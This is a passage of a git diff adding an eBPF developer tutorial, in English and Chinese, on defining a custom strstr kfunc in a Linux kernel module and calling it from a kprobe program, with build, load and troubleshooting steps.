cover a wide range of functionalities, allowing most developers to accomplish their tasks without the need to define new ones. However, in cases where the existing kfuncs do not meet specific requirements, defining custom kfuncs becomes necessary. This tutorial demonstrates how to define new kfuncs to fill any gaps, ensuring that your eBPF programs can leverage the exact functionality you need. eBPF can also be extended to userspace. In the userspace eBPF runtime [bpftime](https://github.com/eunomia-bpf/bpftime), we are also implementing ufuncs, which are similar to kfuncs but extend userspace applications. + +## Overview of kfuncs and Their Evolution + +To appreciate the significance of kfuncs, it's essential to understand their evolution in relation to eBPF helper functions. + +![Cumulative Helper and kfunc Timeline](https://raw.githubusercontent.com/eunomia-bpf/code-survey/main/imgs/cumulative_helper_kfunc_timeline.png) + +**Key Takeaways:** + +- **Stability of Helper Functions:** eBPF helper functions have remained largely stable, with minimal new additions. +- **Rapid Growth of kfuncs:** There's been a significant increase in the adoption and creation of kfuncs, indicating the community's interest in expanding kernel interactions via kfuncs. +- **Shift Towards Deeper Kernel Integrations:** Since 2023, new use cases predominantly leverage kfuncs to influence kernel behavior, signaling a trend towards more profound kernel integrations through eBPF. + +This trend underscores the community's drive to push the boundaries of what eBPF can achieve by integrating more deeply with the kernel through kfuncs. + +## Defining Your Own kfunc: A Step-by-Step Guide + +To harness the power of kfuncs, you'll need to define them within a kernel module. This process ensures that your custom functions are safely exposed to eBPF programs without altering the core kernel. + +### Writing the Kernel Module + +Let's start by creating a simple kernel module that defines a `strstr` kfunc. This kfunc will perform a substring search operation, serving as a foundation for understanding the mechanics. + +#### **File: `hello.c`** + +```c +#include // Macros for module initialization +#include // Core header for loading modules +#include // Kernel logging macros +#include +#include +#include + +/* Declare the kfunc prototype */ +__bpf_kfunc int bpf_strstr(const char *str, u32 str__sz, const char *substr, u32 substr__sz); + +/* Begin kfunc definitions */ +__bpf_kfunc_start_defs(); + +/* Define the bpf_strstr kfunc */ +__bpf_kfunc int bpf_strstr(const char *str, u32 str__sz, const char *substr, u32 substr__sz) +{ + // Edge case: if substr is empty, return 0 (assuming empty string is found at the start) + if (substr__sz == 0) + { + return 0; + } + // Edge case: if the substring is longer than the main string, it's impossible to find + if (substr__sz > str__sz) + { + return -1; // Return -1 to indicate not found + } + // Iterate through the main string, considering the size limit + for (size_t i = 0; i <= str__sz - substr__sz; i++) + { + size_t j = 0; + // Compare the substring with the current position in the string + while (j < substr__sz && str[i + j] == substr[j]) + { + j++; + } + // If the entire substring was found + if (j == substr__sz) + { + return i; // Return the index of the first match + } + } + // Return -1 if the substring is not found + return -1; +} + +/* End kfunc definitions */ +__bpf_kfunc_end_defs(); + +/* Define the BTF kfuncs ID set */ +BTF_KFUNCS_START(bpf_kfunc_example_ids_set) +BTF_ID_FLAGS(func, bpf_strstr) +BTF_KFUNCS_END(bpf_kfunc_example_ids_set) + +/* Register the kfunc ID set */ +static const struct btf_kfunc_id_set bpf_kfunc_example_set = { + .owner = THIS_MODULE, + .set = &bpf_kfunc_example_ids_set, +}; + +/* Function executed when the module is loaded */ +static int __init hello_init(void) +{ + int ret; + + printk(KERN_INFO "Hello, world!\n"); + /* Register the BTF kfunc ID set for BPF_PROG_TYPE_KPROBE */ + ret = register_btf_kfunc_id_set(BPF_PROG_TYPE_KPROBE, &bpf_kfunc_example_set); + if (ret) + { + pr_err("bpf_kfunc_example: Failed to register BTF kfunc ID set\n"); + return ret; + } + printk(KERN_INFO "bpf_kfunc_example: Module loaded successfully\n"); + return 0; // Return 0 if successful +} + +/* Function executed when the module is removed */ +static void __exit hello_exit(void) +{ + /* Unregister the BTF kfunc ID set */ + unregister_btf_kfunc_id_set(BPF_PROG_TYPE_KPROBE, &bpf_kfunc_example_set); + printk(KERN_INFO "Goodbye, world!\n"); +} + +/* Macros to define the module’s init and exit points */ +module_init(hello_init); +module_exit(hello_exit); + +MODULE_LICENSE("GPL"); // License type (GPL) +MODULE_AUTHOR("Your Name"); // Module author +MODULE_DESCRIPTION("A simple module"); // Module description +MODULE_VERSION("1.0"); // Module version +``` + +**Explanation of the Code:** + +- **Declaring the kfunc:** The `__bpf_kfunc` macro declares a function that eBPF programs can invoke. Here, `bpf_strstr` performs a substring search within a given string. + +- **BTF Definitions:** The `__bpf_kfunc_start_defs` and `__bpf_kfunc_end_defs` macros demarcate the beginning and end of kfunc definitions. The `BTF_KFUNCS_START` and related macros assist in registering the kfuncs with the BPF Type Format (BTF). + +- **Module Initialization:** The `hello_init` function registers the kfunc ID set, making `bpf_strstr` available to eBPF programs of type `BPF_PROG_TYPE_KPROBE`. + +- **Module Cleanup:** The `hello_exit` function ensures that the kfunc ID set is unregistered upon module removal, maintaining system cleanliness. + +#### **File: `Makefile`** + +```makefile +obj-m += hello.o # hello.o is the target + +# Enable BTF generation +KBUILD_CFLAGS += -g -O2 + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean +``` + +**Explanation of the Makefile:** + +- **Target Definition:** `obj-m += hello.o` specifies that `hello.o` is the module to be built. + +- **BTF Generation Flags:** `KBUILD_CFLAGS += -g -O2` enables debug information and optimization, facilitating BTF generation. + +- **Build Commands:** + - **`all`:** Compiles the kernel module by invoking the kernel build system. + - **`clean`:** Cleans up the build artifacts. + +**Note:** The provided code has been tested on Linux kernel version **6.11**. If you're using an earlier version, you might need to implement workarounds, such as referencing `compact.h`. + +### Compiling the Kernel Module + +With the kernel module source and Makefile in place, follow these steps to compile the module: + +1. **Navigate to the Module Directory:** + + ```bash + cd /path/to/bpf-developer-tutorial/src/43-kfuncs/module/ + ``` + +2. **Compile the Module:** + + ```bash + make + ``` + + This command will generate a file named `hello.ko`, which is the compiled kernel module. + +### Loading the Kernel Module + +To insert the compiled module into the kernel, use the `insmod` command: + +```bash +sudo insmod hello.ko +``` + +### Verifying Module Loading + +After loading the module, verify its successful insertion by checking the kernel logs: + +```bash +dmesg | tail +``` + +**Expected Output:** + +```txt +[ 1234.5678] Hello, world! +[ 1234.5679] bpf_kfunc_example: Module loaded successfully +``` + +### Removing the Kernel Module + +When you no longer need the module, unload it using the `rmmod` command: + +```bash +sudo rmmod hello +``` + +**Verify Removal:** + +```bash +dmesg | tail +``` + +**Expected Output:** + +```txt +[ 1234.9876] Goodbye, world! +``` + +## Handling Compilation Errors + +During the compilation process, you might encounter the following error: + +```txt +Skipping BTF generation for /root/bpf-developer-tutorial/src/43-kfuncs/module/hello.ko due to unavailability of vmlinux +``` + +**Solution:** + +1. **Install the `dwarves` Package:** + + The `dwarves` package provides tools necessary for BTF generation. + + ```sh + sudo apt install dwarves + ``` + +2. **Copy the `vmlinux` File:** + + Ensure that the `vmlinux` file, which contains BTF information, is available in the build directory. + + ```sh + sudo cp /sys/kernel/btf/vmlinux /usr/lib/modules/$(uname -r)/build/ + ``` + + This command copies the `vmlinux` file to the appropriate build directory, enabling successful BTF generation. + +The complete code for this tutorial can be found in the [bpf-developer-tutorial repository](https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/43-kfuncs) on GitHub. This is tested on Linux kernel version 6.11, and some modifications may be required for lower versions, referring to `compact.h`. + +## Utilizing Your Custom kfunc in an eBPF Program + +With the kernel module defining your custom `strstr` kfunc in place, the next step is to create an eBPF program that leverages this function. This interaction showcases the enhanced capabilities introduced by kfuncs. + +### Writing the eBPF Program + +Create an eBPF program that attaches to the `do_unlinkat` kernel function and uses the custom `bpf_strstr` kfunc. + +#### **File: `kfunc.c`** + +```c +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +#define BPF_NO_GLOBAL_DATA +#include +#include +#include + +typedef unsigned int u32; +typedef long long s64; + +/* Declare the external kfunc */ +extern int bpf_strstr(const char *str, u32 str__sz, const char *substr, u32 substr__sz) __ksym; + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +SEC("kprobe/do_unlinkat") +int handle_kprobe(struct pt_regs *ctx) +{ + pid_t pid = bpf_get_current_pid_tgid() >> 32; + char str[] = "Hello, world!"; + char substr[] = "wor"; + int result = bpf_strstr(str, sizeof(str) - 1, substr, sizeof(substr) - 1); + if (result != -1) + { + bpf_printk("'%s' found in '%s' at index %d\n", substr, str, result); + } + bpf_printk("Hello, world! (pid: %d) bpf_strstr %d\n", pid, result); + return 0; +} +``` + +**Explanation of the eBPF Code:** + +- **External kfunc Declaration:** The `extern` keyword declares the `bpf_strstr` function, making it accessible within the eBPF program. + +- **Kprobe Attachment:** The `SEC("kprobe/do_unlinkat")` macro attaches the eBPF program to the `do_unlinkat` kernel function. Every time `do_unlinkat` is invoked, the `handle_kprobe` function executes. + +- **Using the kfunc:** Within `handle_kprobe`, the eBPF program calls `bpf_strstr` with four arguments: + - `str`: The main string to search within. + - `str__sz`: The size of the main string. + - `substr`: The substring to search for. + - `substr__sz`: The size of the substring. + + The result, which is the index of the first occurrence of `substr` in `str` or `-1` if not found, is then printed using `bpf_printk`, displaying both the PID and the result. + +**Important Note:** Implementing a `strstr`-like function directly in eBPF is challenging due to verifier restrictions that limit loops and complex memory accesses. By implementing `strstr` as a kfunc, we bypass these limitations, allowing for more complex and efficient string operations within eBPF programs. + +### Compiling the eBPF Program + +To compile the eBPF program, ensure you have the necessary tools installed, such as `clang` and `llvm`. Here's how you can compile the program: + +1. **Navigate to the eBPF Program Directory:** + + ```bash + cd /path/to/bpf-developer-tutorial/src/43-kfuncs/ + ``` + +2. **Create a `Makefile` for the eBPF Program:** + + ```makefile + # File: Makefile + + CLANG ?= clang + LLVM_STRIP ?= llvm-strip + BPF_TARGET := bpf + + CFLAGS := -O2 -g -target $(BPF_TARGET) -Wall -Werror -I/usr/include + + all: kfunc.o + + kfunc.o: kfunc.c + $(CLANG) $(CFLAGS) -c $< -o $@ + + clean: + rm -f kfunc.o + ``` + +3. **Compile the eBPF Program:** + + ```bash + make + ``` + + This command will generate a file named `kfunc.o`, which is the compiled eBPF object file. + +### Running the eBPF Program + +Assuming you have a user-space application or a tool to load and attach the eBPF program, you can execute it to observe the interaction between the eBPF program and the custom kfunc. + +**Sample Output:** + +```bash +# sudo ./kfunc +BPF program loaded and attached successfully. Press Ctrl-C to exit. +``` + +Then, when the `do_unlinkat` function is invoked (e.g., when a file is unlinked), you can check the kernel logs: + +```bash +dmesg | tail +``` + +**Expected Output:** + +```txt +[ 1234.5678] 'wor' found in 'Hello, world!' at index 7 +[ 1234.5679] Hello, world! (pid: 2075) bpf_strstr 7 +``` + +**Explanation of the Output:** + +Each time the `do_unlinkat` function is invoked in the kernel, the eBPF program prints a message indicating the PID of the process and the result of the kfunc call. In this example, the substring `"wor"` is found at index `7` in the string `"Hello, world!"`. + +## Summary and Conclusion + +In this tutorial, we've delved deep into extending eBPF's capabilities by defining and utilizing custom kernel functions (kfuncs). Here's a recap of what we've covered: + +- **Understanding kfuncs:** Grasped the concept of kfuncs and their role in enhancing eBPF beyond standard helper functions. +- **Defining kfuncs:** Created a kernel module that defines a custom `strstr` kfunc, ensuring it can be safely exposed to eBPF programs without altering the core kernel. +- **Writing eBPF Programs with kfuncs:** Developed an eBPF program that leverages the custom kfunc to perform specific operations, demonstrating the enhanced functionality. +- **Compilation and Execution:** Provided a step-by-step guide to compile, load, and run both the kernel module and the eBPF program, ensuring you can replicate the setup on your own system. +- **Error Handling:** Addressed potential compilation issues and offered solutions to ensure a smooth development experience. + +**Key Takeaways:** + +- **Overcoming Helper Limitations:** kfuncs bridge the gaps left by standard eBPF helpers, offering extended functionality tailored to specific needs. +- **Maintaining System Stability:** By encapsulating kfuncs within kernel modules, you ensure that system stability is maintained without making invasive changes to the kernel. +- **Community-Driven Evolution:** The rapid growth and adoption of kfuncs highlight the eBPF community's commitment to pushing the boundaries of what's possible with kernel-level programming. +- **Leveraging Existing kfuncs:** Before defining new kfuncs, explore the existing ones provided by the kernel. They cover a wide range of functionalities, reducing the need to create custom functions unless absolutely necessary. + +**Ready to elevate your eBPF skills even further?** [Visit our tutorial repository](https://github.com/eunomia-bpf/bpf-developer-tutorial) and [explore more tutorials on our website](https://eunomia.dev/tutorials/). Dive into a wealth of examples, deepen your understanding, and contribute to the dynamic world of eBPF! + +Happy eBPF-ing! + +## References + +- [BPF Kernel Functions Documentation](https://docs.kernel.org/bpf/kfuncs.html) +- [eBPF kfuncs Guide](https://docs.ebpf.io/linux/kfuncs/) + +## Additional Resources + +If you'd like to learn more about eBPF knowledge and practices, you can visit our open-source tutorial code repository at [bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) or our website [eunomia.dev/tutorials](https://eunomia.dev/tutorials/) for more examples and complete code. diff --git a/src/43-kfuncs/README.zh.md b/src/43-kfuncs/README.zh.md new file mode 100644 index 00000000..938f2e5d --- /dev/null +++ b/src/43-kfuncs/README.zh.md @@ -0,0 +1,445 @@ +# 超越 eBPF 的极限:在内核模块中定义自定义 kfunc + +你是否曾经觉得 eBPF 的能力有限?也许你遇到了现有 eBPF 功能无法实现目标的情况。或许你需要与内核进行更深层次的交互,或者标准 eBPF 运行时无法解决的性能问题。如果你曾经希望在 eBPF 程序中拥有更多的灵活性和强大功能,那么本教程正适合你。 + +## 引言:添加 `strstr` kfunc 以突破 eBPF 运行时的限制 + +**eBPF(扩展伯克利包过滤器)** 通过允许开发者在内核中运行受沙箱限制的程序,彻底改变了 Linux 系统编程。它在网络、安全和可观测性方面具有革命性的作用,能够实现强大的功能,而无需修改内核源代码或加载传统的内核模块。 + +但尽管 eBPF 非常强大,它也并非没有局限性: + +- **功能差距:** 有时,eBPF 运行时的现有功能无法提供你所需的特定能力。 +- **复杂需求:** 某些任务需要更复杂的内核交互,而 eBPF 无法开箱即用地处理这些需求。 +- **性能问题:** 在某些情况下,eBPF 运行时的开销会引入延迟,或者在高性能需求下效率不够。 + +这些挑战源于**整个 eBPF 运行时的限制**,而不仅仅是其辅助函数。那么,如何在不修改内核本身的情况下克服这些障碍呢? + +引入**kfunc(BPF 内核函数)**。通过在内核模块中定义你自己的 kfunc,可以将 eBPF 的能力扩展到默认限制之外。这种方法让你能够: + +- **增强功能:** 引入标准 eBPF 运行时中不可用的新操作。 +- **定制行为:** 根据你的特定需求定制内核交互。 +- **提升性能:** 通过在内核上下文中直接执行自定义代码,优化关键路径。 + +**在本教程中,我们将特别添加一个 `strstr` kfunc。** 由于 eBPF 的验证器限制,直接在 eBPF 中实现字符串搜索是具有挑战性的,而将其定义为 kfunc 则允许我们安全高效地绕过这些限制,执行更复杂的操作。 + +最棒的是,你可以在不修改核心内核的情况下实现这一目标,保持系统的稳定性和代码的安全性。 + +在本教程中,我们将展示如何定义自定义 kfunc 以填补 eBPF 功能的任何空白。我们将逐步讲解如何创建一个引入新 kfunc 的内核模块,并演示如何在 eBPF 程序中使用它们。无论你是希望克服性能瓶颈,还是需要 eBPF 运行时未提供的功能,自定义 kfunc 都能为你的项目解锁新的可能性。 + +## 理解 kfunc:扩展 eBPF 超越辅助函数 + +### 什么是 kfunc? + +**BPF 内核函数(kfuncs)** 是 Linux 内核中的专用函数,供 eBPF 程序使用。与标准的 eBPF 辅助函数不同,kfuncs 没有稳定的接口,并且在不同的内核版本之间可能有所变化。这种可变性意味着使用 kfuncs 的 BPF 程序需要与内核更新同步更新,以保持兼容性和稳定性。 + +### 为什么使用 kfuncs? + +1. **扩展功能:** kfuncs 允许执行标准 eBPF 辅助函数无法完成的操作。 +2. **定制化:** 定义针对特定用例量身定制的逻辑,增强 eBPF 程序的灵活性。 +3. **安全与稳定:** 通过将 kfuncs 封装在内核模块中,避免直接修改核心内核,保持系统完整性。 + +### kfuncs 在 eBPF 中的角色 + +kfuncs 作为 eBPF 程序与更深层次内核功能之间的桥梁。它们允许 eBPF 程序执行更复杂的操作,通过暴露现有内核函数或引入专为 eBPF 交互设计的新包装函数。这种集成在确保 eBPF 程序保持安全和可维护的同时,促进了更深入的内核交互。 + +需要注意的是,Linux 内核已经包含了大量的 kfuncs。这些内置的 kfuncs 覆盖了广泛的功能,大多数开发者无需定义新的 kfuncs 就能完成任务。然而,在现有 kfuncs 无法满足特定需求的情况下,定义自定义 kfuncs 就变得必要。本教程将演示如何定义新的 kfuncs 以填补任何空白,确保你的 eBPF 程序能够利用你所需的确切功能。eBPF 也可以扩展到用户空间。在用户空间 eBPF 运行时 [bpftime](https://github.com/eunomia-bpf/bpftime) 中,我们也在实现 ufuncs,它们类似于 kfuncs,但扩展了用户空间应用程序。 + +## kfuncs 及其演变概述 + +要理解 kfuncs 的重要性,必须了解它们与 eBPF 辅助函数的演变关系。 + +![累计辅助函数和 kfunc 时间线](https://raw.githubusercontent.com/eunomia-bpf/code-survey/main/imgs/cumulative_helper_kfunc_timeline.png) + +**关键要点:** + +- **辅助函数的稳定性:** eBPF 辅助函数保持了高度的稳定性,新增内容较少。 +- **kfuncs 的快速增长:** kfuncs 的采用和创建显著增加,表明社区有兴趣通过 kfuncs 扩展内核交互。 +- **向更深层次内核集成的转变:** 自 2023 年以来,新的用例主要利用 kfuncs 影响内核行为,显示出通过 kfuncs 实现更深层次内核集成的趋势。 + +这一趋势凸显了社区通过 kfuncs 更深入地与内核集成,推动 eBPF 能力边界的决心。 + +## 定义你自己的 kfunc:分步指南 + +为了利用 kfuncs 的强大功能,你需要在内核模块中定义它们。这个过程确保你的自定义函数能够安全地暴露给 eBPF 程序,而无需修改核心内核。 + +### 编写内核模块 + +让我们从创建一个简单的内核模块开始,该模块定义一个 `strstr` kfunc。这个 kfunc 将执行子字符串搜索操作,作为理解机制的基础。 + +#### **文件:`hello.c`** + +```c +#include // 模块初始化宏 +#include // 加载模块的核心头文件 +#include // 内核日志宏 +#include +#include +#include + +/* 声明 kfunc 原型 */ +__bpf_kfunc int bpf_strstr(const char *str, u32 str__sz, const char *substr, u32 substr__sz); + +/* 开始 kfunc 定义 */ +__bpf_kfunc_start_defs(); + +/* 定义 bpf_strstr kfunc */ +__bpf_kfunc int bpf_strstr(const char *str, u32 str__sz, const char *substr, u32 substr__sz) +{ + // 边界情况:如果 substr 为空,返回 0(假设空字符串在开始处找到) + if (substr__sz == 0) + { + return 0; + } + // 边界情况:如果子字符串比主字符串长,则无法找到 + if (substr__sz > str__sz) + { + return -1; // 返回 -1 表示未找到 + } + // 遍历主字符串,考虑大小限制 + for (size_t i = 0; i <= str__sz - substr__sz; i++) + { + size_t j = 0; + // 将子字符串与当前主字符串位置进行比较 + while (j < substr__sz && str[i + j] == substr[j]) + { + j++; + } + // 如果整个子字符串都匹配 + if (j == substr__sz) + { + return i; // 返回第一次匹配的索引 + } + } + // 如果未找到子字符串,返回 -1 + return -1; +} + +/* 结束 kfunc 定义 */ +__bpf_kfunc_end_defs(); + +/* 定义 BTF kfuncs ID 集 */ +BTF_KFUNCS_START(bpf_kfunc_example_ids_set) +BTF_ID_FLAGS(func, bpf_strstr) +BTF_KFUNCS_END(bpf_kfunc_example_ids_set) + +/* 注册 kfunc ID 集 */ +static const struct btf_kfunc_id_set bpf_kfunc_example_set = { + .owner = THIS_MODULE, + .set = &bpf_kfunc_example_ids_set, +}; + +/* 模块加载时执行的函数 */ +static int __init hello_init(void) +{ + int ret; + + printk(KERN_INFO "Hello, world!\n"); + /* 注册 BPF_PROG_TYPE_KPROBE 的 BTF kfunc ID 集 */ + ret = register_btf_kfunc_id_set(BPF_PROG_TYPE_KPROBE, &bpf_kfunc_example_set); + if (ret) + { + pr_err("bpf_kfunc_example: 注册 BTF kfunc ID 集失败\n"); + return ret; + } + printk(KERN_INFO "bpf_kfunc_example: 模块加载成功\n"); + return 0; // 成功返回 0 +} + +/* 模块卸载时执行的函数 */ +static void __exit hello_exit(void) +{ + /* 取消注册 BTF kfunc ID 集 */ + unregister_btf_kfunc_id_set(BPF_PROG_TYPE_KPROBE, &bpf_kfunc_example_set); + printk(KERN_INFO "再见,世界!\n"); +} + +/* 定义模块的初始化和退出点的宏 */ +module_init(hello_init); +module_exit(hello_exit); + +MODULE_LICENSE("GPL"); // 许可证类型(GPL) +MODULE_AUTHOR("Your Name"); // 模块作者 +MODULE_DESCRIPTION("一个简单的模块"); // 模块描述 +MODULE_VERSION("1.0"); // 模块版本 +``` + +**代码解释:** + +- **声明 kfunc:** `__bpf_kfunc` 宏声明一个 eBPF 程序可以调用的函数。在这里,`bpf_strstr` 执行给定字符串中的子字符串搜索。 + +- **BTF 定义:** `__bpf_kfunc_start_defs` 和 `__bpf_kfunc_end_defs` 宏标示 kfunc 定义的开始和结束。`BTF_KFUNCS_START` 及相关宏帮助将 kfuncs 注册到 BPF 类型格式(BTF)。 + +- **模块初始化:** `hello_init` 函数注册 kfunc ID 集,使 `bpf_strstr` 可用于 `BPF_PROG_TYPE_KPROBE` 类型的 eBPF 程序。 + +- **模块清理:** `hello_exit` 函数确保在模块移除时取消注册 kfunc ID 集,保持系统整洁。 + +#### **文件:`Makefile`** + +```makefile +obj-m += hello.o # hello.o 是目标 + +# 启用 BTF 生成 +KBUILD_CFLAGS += -g -O2 + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean +``` + +**Makefile 解释:** + +- **目标定义:** `obj-m += hello.o` 指定 `hello.o` 是要构建的模块。 + +- **BTF 生成标志:** `KBUILD_CFLAGS += -g -O2` 启用调试信息和优化,便于 BTF 生成。 + +- **构建命令:** + - **`all`:** 通过调用内核构建系统编译内核模块。 + - **`clean`:** 清理构建产物。 + +**注意:** 提供的代码在 Linux 内核版本 **6.11** 上进行了测试。如果你使用的是较早的版本,可能需要实现一些变通方法,例如引用 `compact.h`。 + +### 编译内核模块 + +在内核模块源代码和 Makefile 就位后,按照以下步骤编译模块: + +1. **导航到模块目录:** + + ```bash + cd /path/to/bpf-developer-tutorial/src/43-kfuncs/module/ + ``` + +2. **编译模块:** + + ```bash + make + ``` + + 该命令将生成一个名为 `hello.ko` 的文件,即编译后的内核模块。 + +### 加载内核模块 + +要将编译好的模块插入内核,使用 `insmod` 命令: + +```bash +sudo insmod hello.ko +``` + +### 验证模块加载 + +加载模块后,通过检查内核日志验证其是否成功插入: + +```bash +dmesg | tail +``` + +**预期输出:** + +```txt +[ 1234.5678] Hello, world! +[ 1234.5679] bpf_kfunc_example: 模块加载成功 +``` + +### 移除内核模块 + +当不再需要该模块时,使用 `rmmod` 命令卸载它: + +```bash +sudo rmmod hello +``` + +**验证移除:** + +```bash +dmesg | tail +``` + +**预期输出:** + +```txt +[ 1234.9876] 再见,世界! +``` + +## 处理编译错误 + +在编译过程中,可能会遇到以下错误: + +```txt +Skipping BTF generation for /root/bpf-developer-tutorial/src/43-kfuncs/module/hello.ko due to unavailability of vmlinux +``` + +**解决方案:** + +1. **安装 `dwarves` 包:** + + `dwarves` 包提供了生成 BTF 所需的工具。 + + ```sh + sudo apt install dwarves + ``` + +2. **复制 `vmlinux` 文件:** + + 确保包含 BTF 信息的 `vmlinux` 文件在构建目录中可用。 + + ```sh + sudo cp /sys/kernel/btf/vmlinux /usr/lib/modules/$(uname -r)/build/ + ``` + + 该命令将 `vmlinux` 文件复制到适当的构建目录,确保成功生成 BTF。 + +本教程的完整代码可在 [bpf-developer-tutorial 仓库](https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/43-kfuncs) 的 GitHub 上找到。此代码在 Linux 内核版本 6.11 上进行了测试,对于较低版本,可能需要参考 `compact.h` 进行一些修改。 + +## 在 eBPF 程序中使用自定义 kfunc + +有了定义自定义 `strstr` kfunc 的内核模块后,下一步是创建一个利用此函数的 eBPF 程序。此交互展示了 kfuncs 引入的增强功能。 + +### 编写 eBPF 程序 + +创建一个附加到 `do_unlinkat` 内核函数并使用自定义 `bpf_strstr` kfunc 的 eBPF 程序。 + +#### **文件:`kfunc.c`** + +```c +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +#define BPF_NO_GLOBAL_DATA +#include +#include +#include + +typedef unsigned int u32; +typedef long long s64; + +/* 声明外部 kfunc */ +extern int bpf_strstr(const char *str, u32 str__sz, const char *substr, u32 substr__sz) __ksym; + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +SEC("kprobe/do_unlinkat") +int handle_kprobe(struct pt_regs *ctx) +{ + pid_t pid = bpf_get_current_pid_tgid() >> 32; + char str[] = "Hello, world!"; + char substr[] = "wor"; + int result = bpf_strstr(str, sizeof(str) - 1, substr, sizeof(substr) - 1); + if (result != -1) + { + bpf_printk("'%s' found in '%s' at index %d\n", substr, str, result); + } + bpf_printk("Hello, world! (pid: %d) bpf_strstr %d\n", pid, result); + return 0; +} +``` + +**eBPF 代码解释:** + +- **外部 kfunc 声明:** `extern` 关键字声明 `bpf_strstr` 函数,使其在 eBPF 程序中可用。 + +- **Kprobe 附加:** `SEC("kprobe/do_unlinkat")` 宏将 eBPF 程序附加到 `do_unlinkat` 内核函数。每次调用 `do_unlinkat` 时,`handle_kprobe` 函数都会执行。 + +- **使用 kfunc:** 在 `handle_kprobe` 中,eBPF 程序调用 `bpf_strstr`,传入四个参数: + - `str`: 要搜索的主字符串。 + - `str__sz`: 主字符串的大小。 + - `substr`: 要搜索的子字符串。 + - `substr__sz`: 子字符串的大小。 + + 结果(子字符串在主字符串中的首次出现索引,或 -1 表示未找到)然后通过 `bpf_printk` 打印,显示 PID 和结果。 + +**重要提示:** 由于验证器限制,直接在 eBPF 中实现类似 `strstr` 的函数具有挑战性,因为这限制了循环和复杂的内存访问。通过将 `strstr` 实现为 kfunc,我们绕过了这些限制,使得在 eBPF 程序中执行更复杂和高效的字符串操作成为可能。 + +### 编译 eBPF 程序 + +要编译 eBPF 程序,确保你已安装必要的工具,如 `clang` 和 `llvm`。以下是编译程序的步骤: + +1. **导航到 eBPF 程序目录:** + + ```bash + cd /path/to/bpf-developer-tutorial/src/43-kfuncs/ + ``` + +2. **为 eBPF 程序创建一个 `Makefile`:** + + ```makefile + # 文件:Makefile + + CLANG ?= clang + LLVM_STRIP ?= llvm-strip + BPF_TARGET := bpf + + CFLAGS := -O2 -g -target $(BPF_TARGET) -Wall -Werror -I/usr/include + + all: kfunc.o + + kfunc.o: kfunc.c + $(CLANG) $(CFLAGS) -c $< -o $@ + + clean: + rm -f kfunc.o + ``` + +3. **编译 eBPF 程序:** + + ```bash + make + ``` + + 该命令将生成一个名为 `kfunc.o` 的文件,即编译后的 eBPF 对象文件。 + +### 运行 eBPF 程序 + +假设你有一个用户空间应用程序或工具来加载和附加 eBPF 程序,你可以执行它以观察 eBPF 程序与自定义 kfunc 之间的交互。 + +**示例输出:** + +```bash +# sudo ./kfunc +BPF 程序已加载并成功附加。按 Ctrl-C 退出。 +``` + +然后,当调用 `do_unlinkat` 函数时(例如,当文件被取消链接时),你可以检查内核日志: + +```bash +dmesg | tail +``` + +**预期输出:** + +```txt +[ 1234.5678] 'wor' found in 'Hello, world!' at index 7 +[ 1234.5679] Hello, world! (pid: 2075) bpf_strstr 7 +``` + +**输出解释:** + +每次内核调用 `do_unlinkat` 函数时,eBPF 程序都会打印一条消息,指示进程的 PID 以及 kfunc 调用的结果。在此示例中,子字符串 `"wor"` 在字符串 `"Hello, world!"` 的索引 `7` 处被找到。 + +## 总结与结论 + +在本教程中,我们深入探讨了通过定义和使用自定义内核函数(kfuncs)来扩展 eBPF 的能力。以下是我们涵盖的内容回顾: + +- **理解 kfuncs:** 理解了 kfuncs 的概念及其在标准辅助函数之外增强 eBPF 的角色。 +- **定义 kfuncs:** 创建了一个内核模块,定义了自定义的 `strstr` kfunc,确保其能够安全地暴露给 eBPF 程序,而无需修改核心内核。 +- **编写包含 kfuncs 的 eBPF 程序:** 开发了一个利用自定义 kfunc 的 eBPF 程序,展示了增强的功能。 +- **编译与执行:** 提供了逐步指南,编译、加载并运行内核模块和 eBPF 程序,确保你可以在自己的系统上复制设置。 +- **错误处理:** 解决了潜在的编译问题,并提供了解决方案,确保顺利的开发体验。 + +**关键要点:** + +- **克服辅助函数的限制:** kfuncs 弥合了标准 eBPF 辅助函数留下的空白,提供了针对特定需求的扩展功能。 +- **维护系统稳定性:** 通过将 kfuncs 封装在内核模块中,确保系统稳定性,而无需对内核进行侵入性更改。 +- **社区驱动的演变:** kfuncs 的快速增长和采用凸显了 eBPF 社区致力于通过 kfuncs 推动内核级编程可能性的决心。 +- **利用现有 kfuncs:** 在定义新的 kfuncs 之前,探索内核提供的现有 kfuncs。它们涵盖了广泛的功能,减少了除非绝对必要,否则无需创建自定义函数的需求。 + +**准备好进一步提升你的 eBPF 技能了吗?** [访问我们的教程仓库](https://github.com/eunomia-bpf/bpf-developer-tutorial)并[探索我们网站上的更多教程](https://eunomia.dev/tutorials/)。深入丰富的示例,深化你的理解,并为 eBPF 的动态世界做出贡献! + +祝你在 eBPF 的旅程中愉快! + +## 参考资料 + +- [BPF 内核函数文档](https://docs.kernel.org/bpf/kfuncs.html) +- [eBPF kfuncs 指南](https://docs.ebpf.io/linux/kfuncs/) + +## 附加资源 + +如果你想了解更多关于 eBPF 的知识和实践,可以访问我们的开源教程代码仓库 [bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) 或访问我们的网站 [eunomia.dev/tutorials](https://eunomia.dev/tutorials/) 以获取更多示例和完整代码。 diff --git a/src/43-kfuncs/kfunc.bpf.c b/src/43-kfuncs/kfunc.bpf.c new file mode 100644 index 00000000..afbb7a99 --- /dev/null +++ b/src/43-kfuncs/kfunc.bpf.c @@ -0,0 +1,28 @@ +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +#define BPF_NO_GLOBAL_DATA +#include +#include +#include + +typedef unsigned int u32; +typedef unsigned long long u64; +typedef int pid_t; + +extern int bpf_strstr(const char *str, u32 str__sz, const char *substr, u32 substr__sz) __ksym; + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + 